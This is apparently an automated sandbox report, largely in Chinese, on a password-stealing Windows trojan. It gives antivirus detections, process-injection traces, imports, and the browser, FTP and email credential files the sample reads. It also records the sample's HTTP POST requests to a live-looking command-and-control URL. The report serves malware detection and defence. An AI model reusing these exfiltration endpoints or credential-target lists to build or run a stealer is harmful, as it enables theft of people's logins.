13.6
0-day
47 个模型检测该样本为恶意！
重新分析
更多

c579a518f6329906d545c17565775ea8cc4b3bd44ec7eb5bda4a3365e0a7ee3b

66726a9c25d288f9c7812d1434e2fbc3.exe

分析耗时

76s

最近分析

文件大小

887.0KB
静态报毒 动态报毒 ABTYHXYZQ8K AI SCORE=86 AIDETECTVM AUTO CLASSIC CONFIDENCE DELF DELPHILESS EMZL EQMB FAREIT GENERICKD GENKRYPTIK HIGH CONFIDENCE HSGBZT KRYPTIK MALWARE2 MALWARE@#20JA4EOEJ1ZAF NANOCORE PUTTY PWSTEAL SIGGEN2 TSCOPE UNSAFE X2094 XBFXZ 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Fareit-FPQ!66726A9C25D2 20201023 6.0.6.653
Alibaba Trojan:Win32/Kryptik.76001d0a 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Avast Win32:Trojan-gen 20201023 18.4.3895.0
Kingsoft 20201023 2013.8.14.323
Tencent Win32.Trojan.Inject.Auto 20201023 1.0.0.1
CrowdStrike win/malicious_confidence_90% (W) 20190702 1.0
静态指标
Queries for the computername (3 个事件)
Time & API Arguments Status Return Repeated
1619621027.824499
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619621031.058499
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619621032.730499
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 个事件)
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Tries to locate where the browsers are installed (1 个事件)
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619621023.449499
GlobalMemoryStatusEx
success 1 0
The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)
section CODE
section DATA
section BSS
The executable uses a known packer (1 个事件)
packer BobSoft Mini Delphi -> BoB / BobSoft
One or more processes crashed (1 个事件)
Time & API Arguments Status Return Repeated
1619621034.308499
__exception__
stacktrace: 
66726a9c25d288f9c7812d1434e2fbc3+0x12fdd @ 0x412fdd
66726a9c25d288f9c7812d1434e2fbc3+0x1296e @ 0x41296e
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 40763188
registers.edi: 34796620
registers.eax: 40763424
registers.ebp: 40763196
registers.edx: 6172672
registers.ebx: 40763424
registers.esi: 757005335
registers.ecx: 0
exception.instruction_r: 8a 0a 88 0c 17 42 4e 75 f7 5f 5e 5d c3 55 8b ec
exception.symbol: 66726a9c25d288f9c7812d1434e2fbc3+0x2b41
exception.instruction: mov cl, byte ptr [edx]
exception.module: 66726a9c25d288f9c7812d1434e2fbc3.exe
exception.exception_code: 0xc0000005
exception.offset: 11073
exception.address: 0x402b41
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features POST method with no referer header, HTTP version 1.0 used suspicious_request POST http://eloquentcs.com/five/fre.php
Performs some HTTP requests (1 个事件)
request POST http://eloquentcs.com/five/fre.php
Sends data using the HTTP POST Method (1 个事件)
request POST http://eloquentcs.com/five/fre.php
Allocates read-write-execute memory (usually to unpack itself) (3 个事件)
Time & API Arguments Status Return Repeated
1619621022.277249
NtAllocateVirtualMemory
process_identifier: 1544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01df0000
success 0 0
1619621022.590249
NtProtectVirtualMemory
process_identifier: 1544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 65536
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x0049f000
success 0 0
1619621022.590249
NtAllocateVirtualMemory
process_identifier: 1544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01e40000
success 0 0
Steals private information from local Internet browsers (19 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
file C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Moves the original executable to a new location (1 个事件)
Time & API Arguments Status Return Repeated
1619621032.683499
MoveFileWithProgressW
oldfilepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\66726a9c25d288f9c7812d1434e2fbc3.exe
newfilepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe
newfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe
flags: 1
oldfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\66726a9c25d288f9c7812d1434e2fbc3.exe
success 1 0
The binary likely contains encrypted or compressed data indicative of a packer (1 个事件)
entropy 7.645058887632109 section {'size_of_data': '0x0001e000', 'virtual_address': '0x000c5000', 'entropy': 7.645058887632109, 'name': '.rsrc', 'virtual_size': '0x0001de48'} description A section with a high entropy has been found
Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 个事件)
Time & API Arguments Status Return Repeated
1619621030.762499
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Harvests credentials from local FTP client softwares (22 个事件)
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\Administrator.Oskar-PC\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\filezilla.xml
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\recentservers.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
Harvests information related to installed instant messenger clients (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\.purple\accounts.xml
Harvests credentials from local email clients (3 个事件)
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
registry HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)
Process injection Process 1544 called NtSetContextThread to modify thread in remote process 2272
Time & API Arguments Status Return Repeated
1619621022.637249
NtSetContextThread
thread_handle: 0x000000f8
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2272
success 0 0
Putty Files, Registry Keys and/or Mutexes Detected
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 1544 resumed a thread in remote process 2272
Time & API Arguments Status Return Repeated
1619621022.746249
NtResumeThread
thread_handle: 0x000000f8
suspend_count: 1
process_identifier: 2272
success 0 0
Generates some ICMP traffic
Executed a process and injected code into it, probably while unpacking (7 个事件)
Time & API Arguments Status Return Repeated
1619621022.621249
CreateProcessInternalW
thread_identifier: 2456
thread_handle: 0x000000f8
process_identifier: 2272
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\66726a9c25d288f9c7812d1434e2fbc3.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619621022.621249
NtUnmapViewOfSection
process_identifier: 2272
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619621022.621249
NtMapViewOfSection
section_handle: 0x00000104
process_identifier: 2272
commit_size: 663552
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 663552
base_address: 0x00400000
success 0 0
1619621022.637249
NtGetContextThread
thread_handle: 0x000000f8
success 0 0
1619621022.637249
NtSetContextThread
thread_handle: 0x000000f8
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2272
success 0 0
1619621022.746249
NtResumeThread
thread_handle: 0x000000f8
suspend_count: 1
process_identifier: 2272
success 0 0
1619621024.465499
NtResumeThread
thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2272
success 0 0
File has been identified by 47 AntiVirus engines on VirusTotal as malicious (47 个事件)
Bkav W32.AIDetectVM.malware2
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.43675438
FireEye Generic.mg.66726a9c25d288f9
McAfee Fareit-FPQ!66726A9C25D2
Cylance Unsafe
Sangfor Malware
K7AntiVirus Riskware ( 0040eff71 )
Alibaba Trojan:Win32/Kryptik.76001d0a
K7GW Riskware ( 0040eff71 )
Cybereason malicious.40952a
BitDefenderTheta AI:Packer.6CF7A26721
Symantec Trojan Horse
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Trojan.Win32.Kryptik.gen
BitDefender Trojan.GenericKD.43675438
NANO-Antivirus Trojan.Win32.Kryptik.hsgbzt
Avast Win32:Trojan-gen
Rising Trojan.Kryptik!1.CAC0 (CLASSIC)
Ad-Aware Trojan.GenericKD.43675438
Comodo Malware@#20ja4eoej1zaf
DrWeb Trojan.PWS.Siggen2.53602
VIPRE Trojan.Win32.Generic!BT
Invincea Mal/Generic-S
McAfee-GW-Edition BehavesLike.Win32.Fareit.ch
Sophos Mal/Generic-S
Jiangmin Trojan.Kryptik.cby
Webroot W32.Trojan.Gen
Avira TR/Kryptik.xbfxz
Microsoft Trojan:Win32/Pwsteal.Q!rfn
AegisLab Trojan.Win32.Kryptik.4!c
ZoneAlarm HEUR:Trojan.Win32.Kryptik.gen
GData Trojan.GenericKD.43675438
AhnLab-V3 Suspicious/Win.Delphiless.X2094
VBA32 TScope.Trojan.Delf
ALYac Backdoor.RAT.MSIL.NanoCore
MAX malware (ai score=86)
ESET-NOD32 a variant of Win32/GenKryptik.EQMB
Tencent Win32.Trojan.Inject.Auto
Yandex Trojan.GenKryptik!abtyHxYZq8k
Ikarus Trojan.Win32.Injector
Fortinet W32/Injector.EMZL!tr
AVG Win32:Trojan-gen
Panda Trj/CI.A
CrowdStrike win/malicious_confidence_90% (W)
Qihoo-360 Win32/Trojan.469
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)
dead_host 172.217.24.14:443
dead_host 172.217.160.110:443
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:
• 0x4b3164 VirtualFree
• 0x4b3168 VirtualAlloc
• 0x4b316c LocalFree
• 0x4b3170 LocalAlloc
• 0x4b3174 GetVersion
• 0x4b3178 GetCurrentThreadId
• 0x4b3184 VirtualQuery
• 0x4b3188 WideCharToMultiByte
• 0x4b318c MultiByteToWideChar
• 0x4b3190 lstrlenA
• 0x4b3194 lstrcpynA
• 0x4b3198 LoadLibraryExA
• 0x4b319c GetThreadLocale
• 0x4b31a0 GetStartupInfoA
• 0x4b31a4 GetProcAddress
• 0x4b31a8 GetModuleHandleA
• 0x4b31ac GetModuleFileNameA
• 0x4b31b0 GetLocaleInfoA
• 0x4b31b4 GetCommandLineA
• 0x4b31b8 FreeLibrary
• 0x4b31bc FindFirstFileA
• 0x4b31c0 FindClose
• 0x4b31c4 ExitProcess
• 0x4b31c8 WriteFile
• 0x4b31d0 RtlUnwind
• 0x4b31d4 RaiseException
• 0x4b31d8 GetStdHandle
Library user32.dll:
• 0x4b31e0 GetKeyboardType
• 0x4b31e4 LoadStringA
• 0x4b31e8 MessageBoxA
• 0x4b31ec CharNextA
Library advapi32.dll:
• 0x4b31f4 RegQueryValueExA
• 0x4b31f8 RegOpenKeyExA
• 0x4b31fc RegCloseKey
Library oleaut32.dll:
• 0x4b3204 SysFreeString
• 0x4b3208 SysReAllocStringLen
• 0x4b320c SysAllocStringLen
Library kernel32.dll:
• 0x4b3214 TlsSetValue
• 0x4b3218 TlsGetValue
• 0x4b321c LocalAlloc
• 0x4b3220 GetModuleHandleA
Library advapi32.dll:
• 0x4b3228 RegQueryValueExA
• 0x4b322c RegOpenKeyExA
• 0x4b3230 RegCloseKey
Library kernel32.dll:
• 0x4b3238 lstrcpyA
• 0x4b323c WriteFile
• 0x4b3240 WaitForSingleObject
• 0x4b3244 VirtualQuery
• 0x4b3248 VirtualProtect
• 0x4b324c VirtualAlloc
• 0x4b3250 Sleep
• 0x4b3254 SizeofResource
• 0x4b3258 SetThreadLocale
• 0x4b325c SetFilePointer
• 0x4b3260 SetEvent
• 0x4b3264 SetErrorMode
• 0x4b3268 SetEndOfFile
• 0x4b326c SearchPathA
• 0x4b3270 ResetEvent
• 0x4b3274 ReleaseMutex
• 0x4b3278 ReadFile
• 0x4b327c OpenFileMappingA
• 0x4b3280 MultiByteToWideChar
• 0x4b3284 MulDiv
• 0x4b3288 LockResource
• 0x4b328c LoadResource
• 0x4b3290 LoadLibraryA
• 0x4b3298 IsDBCSLeadByte
• 0x4b32a0 GlobalUnlock
• 0x4b32a4 GlobalReAlloc
• 0x4b32a8 GlobalHandle
• 0x4b32ac GlobalLock
• 0x4b32b0 GlobalFree
• 0x4b32b4 GlobalFindAtomA
• 0x4b32b8 GlobalDeleteAtom
• 0x4b32bc GlobalAlloc
• 0x4b32c0 GlobalAddAtomA
• 0x4b32c4 GetVersionExA
• 0x4b32c8 GetVersion
• 0x4b32cc GetTickCount
• 0x4b32d0 GetThreadLocale
• 0x4b32d8 GetSystemInfo
• 0x4b32dc GetStringTypeExA
• 0x4b32e0 GetStdHandle
• 0x4b32e4 GetProcAddress
• 0x4b32e8 GetModuleHandleA
• 0x4b32ec GetModuleFileNameA
• 0x4b32f0 GetLocaleInfoA
• 0x4b32f4 GetLocalTime
• 0x4b32f8 GetLastError
• 0x4b32fc GetFullPathNameA
• 0x4b3300 GetFileAttributesA
• 0x4b3304 GetDiskFreeSpaceA
• 0x4b3308 GetDateFormatA
• 0x4b330c GetCurrentThreadId
• 0x4b3310 GetCurrentProcessId
• 0x4b3318 GetCPInfo
• 0x4b331c GetACP
• 0x4b3320 FreeResource
• 0x4b3328 InterlockedExchange
• 0x4b3330 FreeLibrary
• 0x4b3334 FormatMessageA
• 0x4b3338 FindResourceA
• 0x4b333c FindFirstFileA
• 0x4b3340 FindClose
• 0x4b3350 FatalAppExitA
• 0x4b3354 EnumCalendarInfoA
• 0x4b3360 CreateThread
• 0x4b3364 CreateMutexA
• 0x4b3368 CreateFileA
• 0x4b336c CreateEventA
• 0x4b3370 CompareStringA
• 0x4b3374 CloseHandle
Library version.dll:
• 0x4b337c VerQueryValueA
• 0x4b3384 GetFileVersionInfoA
Library gdi32.dll:
• 0x4b338c UnrealizeObject
• 0x4b3390 StretchBlt
• 0x4b3394 SetWindowOrgEx
• 0x4b3398 SetWinMetaFileBits
• 0x4b339c SetViewportOrgEx
• 0x4b33a0 SetTextColor
• 0x4b33a4 SetStretchBltMode
• 0x4b33a8 SetROP2
• 0x4b33ac SetPixel
• 0x4b33b0 SetEnhMetaFileBits
• 0x4b33b4 SetDIBColorTable
• 0x4b33b8 SetColorSpace
• 0x4b33bc SetBrushOrgEx
• 0x4b33c0 SetBkMode
• 0x4b33c4 SetBkColor
• 0x4b33c8 SelectPalette
• 0x4b33cc SelectObject
• 0x4b33d0 SelectClipRgn
• 0x4b33d4 SaveDC
• 0x4b33d8 RestoreDC
• 0x4b33dc Rectangle
• 0x4b33e0 RectVisible
• 0x4b33e4 RealizePalette
• 0x4b33e8 Polyline
• 0x4b33ec PlayEnhMetaFile
• 0x4b33f0 PatBlt
• 0x4b33f4 MoveToEx
• 0x4b33f8 MaskBlt
• 0x4b33fc LineTo
• 0x4b3400 IntersectClipRect
• 0x4b3404 GetWindowOrgEx
• 0x4b3408 GetWinMetaFileBits
• 0x4b340c GetTextMetricsA
• 0x4b3418 GetStockObject
• 0x4b341c GetPixel
• 0x4b3420 GetPaletteEntries
• 0x4b3424 GetObjectA
• 0x4b3430 GetEnhMetaFileBits
• 0x4b3434 GetDeviceCaps
• 0x4b3438 GetDIBits
• 0x4b343c GetDIBColorTable
• 0x4b3440 GetDCOrgEx
• 0x4b3448 GetClipBox
• 0x4b344c GetBrushOrgEx
• 0x4b3450 GetBitmapBits
• 0x4b3454 ExtTextOutA
• 0x4b3458 ExcludeClipRect
• 0x4b345c DeleteObject
• 0x4b3460 DeleteEnhMetaFile
• 0x4b3464 DeleteDC
• 0x4b3468 CreateSolidBrush
• 0x4b346c CreatePenIndirect
• 0x4b3470 CreatePalette
• 0x4b3478 CreateFontIndirectA
• 0x4b347c CreateDIBitmap
• 0x4b3480 CreateDIBSection
• 0x4b3484 CreateCompatibleDC
• 0x4b348c CreateBrushIndirect
• 0x4b3490 CreateBitmap
• 0x4b3494 CopyEnhMetaFileA
• 0x4b3498 BitBlt
Library user32.dll:
• 0x4b34a0 CreateWindowExA
• 0x4b34a4 WindowFromPoint
• 0x4b34a8 WinHelpA
• 0x4b34ac WaitMessage
• 0x4b34b0 UpdateWindow
• 0x4b34b4 UnregisterClassA
• 0x4b34b8 UnhookWindowsHookEx
• 0x4b34bc TranslateMessage
• 0x4b34c4 TrackPopupMenu
• 0x4b34cc ShowWindow
• 0x4b34d0 ShowScrollBar
• 0x4b34d4 ShowOwnedPopups
• 0x4b34d8 ShowCursor
• 0x4b34dc SetWindowsHookExA
• 0x4b34e0 SetWindowTextA
• 0x4b34e4 SetWindowPos
• 0x4b34e8 SetWindowPlacement
• 0x4b34ec SetWindowLongA
• 0x4b34f0 SetTimer
• 0x4b34f4 SetScrollRange
• 0x4b34f8 SetScrollPos
• 0x4b34fc SetScrollInfo
• 0x4b3500 SetRect
• 0x4b3504 SetPropA
• 0x4b3508 SetParent
• 0x4b350c SetMenuItemInfoA
• 0x4b3510 SetMenu
• 0x4b3514 SetKeyboardState
• 0x4b3518 SetForegroundWindow
• 0x4b351c SetFocus
• 0x4b3520 SetCursor
• 0x4b3524 SetClipboardData
• 0x4b3528 SetClassLongA
• 0x4b352c SetCapture
• 0x4b3530 SetActiveWindow
• 0x4b3534 SendMessageA
• 0x4b3538 ScrollWindow
• 0x4b353c ScreenToClient
• 0x4b3540 RemovePropA
• 0x4b3544 RemoveMenu
• 0x4b3548 ReleaseDC
• 0x4b354c ReleaseCapture
• 0x4b3558 RegisterClassA
• 0x4b355c RedrawWindow
• 0x4b3560 PtInRect
• 0x4b3564 PostQuitMessage
• 0x4b3568 PostMessageA
• 0x4b356c PeekMessageA
• 0x4b3570 OpenClipboard
• 0x4b3574 OffsetRect
• 0x4b3578 OemToCharBuffA
• 0x4b357c OemToCharA
• 0x4b3580 MessageBoxA
• 0x4b3584 MessageBeep
• 0x4b3588 MapWindowPoints
• 0x4b358c MapVirtualKeyA
• 0x4b3590 LoadStringA
• 0x4b3594 LoadKeyboardLayoutA
• 0x4b3598 LoadIconA
• 0x4b359c LoadCursorA
• 0x4b35a0 LoadBitmapA
• 0x4b35a4 KillTimer
• 0x4b35a8 IsZoomed
• 0x4b35ac IsWindowVisible
• 0x4b35b0 IsWindowEnabled
• 0x4b35b4 IsWindow
• 0x4b35b8 IsRectEmpty
• 0x4b35bc IsIconic
• 0x4b35c0 IsDialogMessageA
• 0x4b35c4 IsChild
• 0x4b35c8 IsCharAlphaNumericA
• 0x4b35cc IsCharAlphaA
• 0x4b35d0 InvalidateRect
• 0x4b35d4 IntersectRect
• 0x4b35d8 InsertMenuItemA
• 0x4b35dc InsertMenuA
• 0x4b35e0 InflateRect
• 0x4b35e8 GetWindowTextA
• 0x4b35ec GetWindowRect
• 0x4b35f0 GetWindowPlacement
• 0x4b35f4 GetWindowLongA
• 0x4b35f8 GetWindowDC
• 0x4b35fc GetTopWindow
• 0x4b3600 GetSystemMetrics
• 0x4b3604 GetSystemMenu
• 0x4b3608 GetSysColorBrush
• 0x4b360c GetSysColor
• 0x4b3610 GetSubMenu
• 0x4b3614 GetScrollRange
• 0x4b3618 GetScrollPos
• 0x4b361c GetScrollInfo
• 0x4b3620 GetPropA
• 0x4b3624 GetParent
• 0x4b3628 GetWindow
• 0x4b362c GetMenuStringA
• 0x4b3630 GetMenuState
• 0x4b3634 GetMenuItemInfoA
• 0x4b3638 GetMenuItemID
• 0x4b363c GetMenuItemCount
• 0x4b3640 GetMenu
• 0x4b3644 GetLastActivePopup
• 0x4b3648 GetKeyboardState
• 0x4b3650 GetKeyboardLayout
• 0x4b3654 GetKeyState
• 0x4b3658 GetKeyNameTextA
• 0x4b365c GetIconInfo
• 0x4b3660 GetForegroundWindow
• 0x4b3664 GetFocus
• 0x4b3668 GetDlgItem
• 0x4b366c GetDesktopWindow
• 0x4b3670 GetDCEx
• 0x4b3674 GetDC
• 0x4b3678 GetCursorPos
• 0x4b367c GetCursor
• 0x4b3680 GetClipboardData
• 0x4b3684 GetClientRect
• 0x4b3688 GetClassNameA
• 0x4b368c GetClassInfoA
• 0x4b3690 GetCapture
• 0x4b3694 GetActiveWindow
• 0x4b3698 FrameRect
• 0x4b369c FindWindowA
• 0x4b36a0 FillRect
• 0x4b36a4 EqualRect
• 0x4b36a8 EnumWindows
• 0x4b36ac EnumThreadWindows
• 0x4b36b4 EndPaint
• 0x4b36b8 EndDeferWindowPos
• 0x4b36bc EnableWindow
• 0x4b36c0 EnableScrollBar
• 0x4b36c4 EnableMenuItem
• 0x4b36c8 EmptyClipboard
• 0x4b36cc DrawTextA
• 0x4b36d0 DrawMenuBar
• 0x4b36d4 DrawIconEx
• 0x4b36d8 DrawIcon
• 0x4b36dc DrawFrameControl
• 0x4b36e0 DrawEdge
• 0x4b36e4 DispatchMessageA
• 0x4b36e8 DestroyWindow
• 0x4b36ec DestroyMenu
• 0x4b36f0 DestroyIcon
• 0x4b36f4 DestroyCursor
• 0x4b36f8 DeleteMenu
• 0x4b36fc DeferWindowPos
• 0x4b3700 DefWindowProcA
• 0x4b3704 DefMDIChildProcA
• 0x4b3708 DefFrameProcA
• 0x4b370c CreatePopupMenu
• 0x4b3710 CreateMenu
• 0x4b3714 CreateIcon
• 0x4b3718 CloseClipboard
• 0x4b371c ClientToScreen
• 0x4b3720 CheckMenuItem
• 0x4b3724 CallWindowProcA
• 0x4b3728 CallNextHookEx
• 0x4b372c BeginPaint
• 0x4b3730 BeginDeferWindowPos
• 0x4b3734 CharNextA
• 0x4b3738 CharLowerBuffA
• 0x4b373c CharLowerA
• 0x4b3740 CharUpperBuffA
• 0x4b3744 CharToOemBuffA
• 0x4b3748 CharToOemA
• 0x4b374c AdjustWindowRectEx
Library kernel32.dll:
• 0x4b3758 Sleep
Library oleaut32.dll:
• 0x4b3760 SafeArrayPtrOfIndex
• 0x4b3764 SafeArrayPutElement
• 0x4b3768 SafeArrayGetElement
• 0x4b3770 SafeArrayAccessData
• 0x4b3774 SafeArrayGetUBound
• 0x4b3778 SafeArrayGetLBound
• 0x4b377c SafeArrayCreate
• 0x4b3780 VariantChangeType
• 0x4b3784 VariantCopyInd
• 0x4b3788 VariantCopy
• 0x4b378c VariantClear
• 0x4b3790 VariantInit
Library ole32.dll:
• 0x4b3798 CoCreateInstance
• 0x4b379c CoUninitialize
• 0x4b37a0 CoInitialize
Library oleaut32.dll:
• 0x4b37a8 GetErrorInfo
• 0x4b37ac SysFreeString
Library comctl32.dll:
• 0x4b37bc ImageList_Write
• 0x4b37c0 ImageList_Read
• 0x4b37d0 ImageList_DragMove
• 0x4b37d4 ImageList_DragLeave
• 0x4b37d8 ImageList_DragEnter
• 0x4b37dc ImageList_EndDrag
• 0x4b37e0 ImageList_BeginDrag
• 0x4b37e4 ImageList_Remove
• 0x4b37e8 ImageList_DrawEx
• 0x4b37ec ImageList_Replace
• 0x4b37f0 ImageList_Draw
• 0x4b3800 ImageList_Add
• 0x4b3808 ImageList_Destroy
• 0x4b380c ImageList_Create
Library comdlg32.dll:
• 0x4b3814 GetOpenFileNameA

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49182 103.83.81.17 eloquentcs.com 80
192.168.56.101 49184 103.83.81.17 eloquentcs.com 80
192.168.56.101 49187 103.83.81.17 eloquentcs.com 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 50002 114.114.114.114 53
192.168.56.101 51808 114.114.114.114 53
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 55368 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 62912 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 51378 224.0.0.252 5355
192.168.56.101 53237 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 58367 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 60384 224.0.0.252 5355
192.168.56.101 61680 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 62318 224.0.0.252 5355
192.168.56.101 65004 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900

HTTP & HTTPS Requests

URI Data
http://eloquentcs.com/five/fre.php 
POST /five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: eloquentcs.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 29145E52
Content-Length: 169
Connection: close
http://eloquentcs.com/five/fre.php 
POST /five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: eloquentcs.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 29145E52
Content-Length: 196
Connection: close

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

